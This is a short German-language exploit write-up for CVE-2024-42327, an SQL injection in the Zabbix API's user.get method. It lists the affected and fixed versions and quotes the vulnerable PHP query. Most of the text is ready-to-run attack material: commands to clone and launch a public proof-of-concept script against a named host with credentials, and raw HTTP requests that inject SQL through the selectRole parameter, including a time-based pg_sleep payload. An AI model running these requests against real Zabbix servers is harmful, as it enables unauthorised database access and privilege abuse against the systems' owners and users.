
Ein nicht-admin Benutzerkonto im Zabbix-Frontend mit der Standard-Benutzerrolle oder einer anderen Rolle, die API-Zugriff gewährt, kann diese Sicherheitslücke ausnutzen. Eine SQLi existiert in der CUser-Klasse in der addRelatedObjects-Funktion; diese Funktion wird von der CUser.get-Funktion aufgerufen, die für jeden Benutzer mit API-Zugriff verfügbar ist.

Verwundbare Versionen: 6.0.0 - 6.0.31, 6.4.0 - 6.4.16 , 7.0.0
Behobene Versionen: 6.0.32rc1 , 6.4.17rc1, 7.0.1rc1
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
Exploit-Nutzung:
git clone https://github.com/depers-rus/CVE-2024-42327
python3 cve-2024-42327-PoC.py -t zabbix.xyz.ru -u "depers" -p "passwd"
Anfrage:
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,{SQLi payload}"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
BurpSuite PoC (zeitbasierte SQLi)
SELECT pg_sleep(10)) AS DELAY
POST /api_jsonrpc.php HTTP/1.1
Host: zabbix.xyz.ru
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 186
Content-Type: application/json
{"jsonrpc": "2.0", "method":"user.get", "params": {"selectRole": ["roleid,(SELECT pg_sleep(10)) AS DELAY"
], "userids": ["10"
]}, "auth": "---auth_token---", "id": 1}
